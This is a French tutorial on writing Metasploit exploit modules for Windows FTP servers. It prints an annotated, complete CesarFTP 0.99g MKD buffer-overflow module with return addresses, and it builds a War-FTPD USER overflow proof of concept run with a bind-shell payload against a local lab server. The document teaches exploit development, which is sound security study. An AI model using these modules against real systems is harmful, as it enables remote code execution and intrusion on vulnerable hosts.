Metasploit/Écriture Exploit Windows

Allons-yModifier

Dans le Framework Metasploit, un exploit est appelé "module exploit".

Les modules exploit se trouvent par défaut dans :
C:\Programmes\Metasploit\Framework3\home\framework\modules\exploits\

Les modules exploit sont classés par plate-formes (OSs) et par types (protocoles) dans des répertoires.

Édition d'un module exploitModifier


Une bonne manière de comprendre comment un module exploit est écrit est de commencer par en éditer un.

Nous éditons ce module :
C:\Programmes\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb

#Les notes de l'auteur du présent document sont ajoutées en rouge.

##
# $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##

#Les lignes de commentaires débutent par un # (elles ne seront pas exécutées)
require 'msf/core' #Nous aurons toujours besoin de la librairie core
module Msf #Cette ligne devrait toujours être présente
class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote
#Le nom de la classe (Exploits::Windows::Ftp::Cesarftp_Mkd) indique où le module exploit se trouve physiquement
(*\exploits\windows\ftp\cesarftp_mkd.rb)
Le nom de fichier du the module exploit (cesarftp_mkd.rb) doit être le même que le nom de la classe (Cesarftp_Mkd)
include Exploit::Remote::Ftp #Nous utilisons les fonctions FTP incluses dans le MSF def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', #Un nom compréhensible et détaillé (sera affiché dans la console) 'Description' => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. #La description du module/vulnérabilité }, 'Author' => 'MC', #Le (sur)nom de l'auteur de ce module 'License' => MSF_LICENSE, #Type de licence 'Version' => '$Revision: 4419 $', #Numéro de version du module 'References' => #Différentes 'URLs' sur la vulnérabilité [ [ 'BID', '18586'], [ 'CVE', '2006–2961'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, #Espace maximum disponible en mémoire pour stocker le shellcode (payload) 'BadChars' => "\x00\x20\x0a\x0d", #Liste des caractères interdits 'StackAdjustment' => -3500, }, 'Platform' => 'win', #Type de plate-forme(s) cible 'Targets' => #Liste des cibles et des adresses de retour [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ], ], 'DisclosureDate' => 'Jun 12 2006', #Date de divulgation de la vulnérabilité 'DefaultTarget' => 0 #Cible par défaut utilisée si non spécifiée par l'utilisateur (ici: Windows 2000 Pro SP4 English) ) ) end
	def check #Fonction utilisée pour vérifier si une cible est vulnérable
		connect
		disconnect
		if (banner =~ /CesarFTP 0\.99g/) #On test la bannière retournée par le serveur
			return Exploit::CheckCode::Vulnerable #Le serveur est vulnérable
		end
			return Exploit::CheckCode::Safe #Le serveur n'est PAS vulnérable
	end
	def exploit #On définit notre exploit
		connect_login #On utilise la fonction d'authentification Ftp
		sploit =  "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Alignement
		sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
		#Adresse de retour (convertie en little endian) + train de nops + payload
		print_status("Trying target #{target.name}...")
		send_cmd( ['MKD', sploit] , false) #On envoie notre code exploit à la cible
		handler
		disconnect #On ferme la connexion
	end
end
end

Écriture d'un module exploitModifier

La cibleModifier

Pour comprendre comment écrire un module exploit pour le Framework Metasploit, on écrit un exploit pour une vulnérabilité facilement exploitable dans WarFTPD version 1.5[1].
(Notez que le module exploit pour cette vulnérabilité existe déjà dans le Framework Metasploit, mais nous allons essayer d'écrire notre propre exploit.)
Nous téléchargeons et installons WarFTPD sur notre machine Windows.
Nous démarrons WarFTPD Daemon.
Décocher la case "No anonymous logins".
Nous démarrons le serveur FTP (cliquez sur le bouton "Go Online/Offline")



Ok, le serveur nous attend...

La vulnérabilitéModifier

Nous pouvons trouver des informations sur la vulnérabilité sur plusieurs sites.
Voyez celui-ci par exemple :
http://osvdb.org/displayvuln.php?osvdb_id=875&print

L'on voit que le bogue survient en envoyant une requête spécialement conçue dans la commande USER.
Très souvent, une très longue chaîne de caractères provoque ce genre de bogue.
Nous vérifions ceci.

La preuve de concept (PoC)Modifier

En premier lieu, nous reproduisons la vulnérabilité.
Pour cela, nous utilisons directement le Framework Metasploit.
Nous créons ce fichier :
C:\Programmes\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb

Nous l'ouvrons et écrivons (copier/coller) le code suivant dans ce dernier :

##
# This file is part of Le Framework Metasploit and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##

require 'msf/core'

module Msf

class Exploits::Windows::Ftp::WarFtpd < Msf::Exploit::Remote #Les noms du module exploit et de la classe sont 'identiques'

	include Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'War-FTPD 1.65 Username Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow found in the USER command
				of War-FTPD 1.65.
			},	#Fin de Description
			'Author'         => 'Votre Nom',	#Changez cette valeur
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1 $',
			'References'     => 
				[
					[ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ]
					#L'URL citée précédemment
				],
			'DefaultOptions' => 
				{
					'EXITFUNC' => 'process'
				},
			'Payload'        =>
				{
					'Space'    => 1000,		#On ne connait pas encore la valeur exacte pour ceci
					'BadChars' => "\x00"
					#On ne connait pas encore la valeur exacte pour ceci
				},
			'Targets'        =>
				[
					# Target 0
					[
						'Notre Windows Cible',
						#Remplacez ceci par le type de votre Windows (par ex: Windows 2000 SP4)
						{
							'Platform' => 'win',	#On exploite une plate-forme Windows
							'Ret'      => 0x01020304
							#On ne connait pas encore la valeur exacte pour ceci
						}
					]
				]
		)	#Fin de update_info()
		)	#Fin de super()
	end	#Fin de initialize

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		exploit          = 'A' * 1000	#On essaie de déclencher le bogue avec une longue chaîne de 1000 "A"

		send_cmd( ['USER', exploit] , false )	#On envoie notre chaîne malicieuse

		handler
		disconnect	#On se déconnecte
	end	#Fin de exploit

end	#Fin de class

end	#Fin de module


Le serveur WarFTPD est lancé (écoutant sur le port tcp 21 par défaut).
On lance maintenant la console du Framework Metasploit.
(Démarrer / Programmes / Metasploit3 / MSFConsole)

L'on peut maintenant voir notre exploit avec la commande :
show exploits

 

On lance alors notre exploit avec ces commandes :
use windows/ftp/warftpd
set RHOST 127.0.0.1
set TARGET 0
set PAYLOAD generic/shell_bind_tcp
exploit


 

Après quelques secondes, l'on voit disparaître (planter) le serveur FTP WarFTPD Dameon.
Nous avons reproduit le bogue avec succès.


DéboguageModifier

Pour voir ce qui se passe quand le serveur plante, nous utilisons un débogueur.
Nous relançons WarFTPD Daemon et attachons notre débogueur à celui-ci.
=> Dans OllyDbg, on utilise "File/Attach", on choisit le processus WarFTPD, clic sur Run et une fois qu'il est lancé, on appuie sur F9 pour obtenir l'état Running.


Nous relançons notre exploit.
Nous pouvons alors regarder dans notre débogueur.
Nous voyons qu'une violation d'accès est déclenchée.
EIP est sur-écrit avec notre chaîne malicieuse (41414141 est l'équivalent hexadécimal pour AAAA)


AffinageModifier

Trouver l'espace disponibleModifier

Nous devons trouver la quantité d'espace mémoire disponible pour y placer notre shellcode (payload).
Le Framework Metasploit inclut des outils pour nous aider.
D'abord, nous fermons notre débogueur.

On utilise la fonction PatternCreate() pour générer une chaîne de caractères alpha-numériques qui ne se répètent pas.
Nous générons une chaîne de 1000 caractères et l'utilisons dans notre exploit pour déclencher le bogue à nouveau.
Ensuite nous utilisons patternOffset pour connaitre le nombre de caractères à envoyer avant de sur-écrire EIP.


Trouver une adresse de retourModifier

Nous devons à présent trouver une adresse de retour fiable.
Là encore, le Framework Metasploit inclut des outils pour nous aider.

Nous pouvons utiliser 'msfpescan' pour chercher des adresses de retour pour des opcodes:

$ ./framework/msfpescan
Usage: ./framework/msfpescan [mode] <options> [targets]

Modes:
    -j, --jump [regA,regB,regC]      Search for jump equivalent instructions
    -p, --poppopret                  Search for pop+pop+ret combinations
    -r, --regex [regex]              Search for regex match
    -a, --analyze-address [address]  Display the code at the specified address
    -b, --analyze-offset [offset]    Display the code at the specified offset
    -f, --fingerprint                Attempt to identify the packer/compiler

Options:
    -M, --memdump                    The targets are memdump.exe directories
    -A, --after [bytes]              Number of bytes to show after match (-a/-b)

    -B, --before [bytes]             Number of bytes to show before match (-a/-b
)
    -I, --image-base [address]       Specify an alternate ImageBase
    -h, --help                       Show this message


L'on peut également utiliser la base de données d'Opcodes du MSF :
http://metasploit.com/users/opcode/msfopcode.cgi
Notez que le Framework Metasploit inclut également un client embarqué pour utiliser cette base de données :
http://metasploit.com/projects/Framework/msf3/msfopcode_fr.html


Traiter les caractères interditsModifier

Nous devons maintenant traiter les caractères interdits.
Nous devons pas inclure de caractère de terminaison de chaîne dans notre shellcode car cela interromperait son exécution.
Nous avons déjà fait cela dans notre exploit : 'BadChars' => "\x00"

De plus, une application cible modifie souvent les données reçues avant de les traiter.
Un exemple est une application qui va passer tous les caractères en majuscules.
Comme cela va modifier notre shellcode, nous devons traiter ce cas.
Pour cela, le Framework Metasploit va encoder notre shellcode pour en obtenir un ne contenant pas les caractères interdits spécifiés.
Nous avons seulement à lister les caractères interdits dans notre code d'exploit.

RéférencesModifier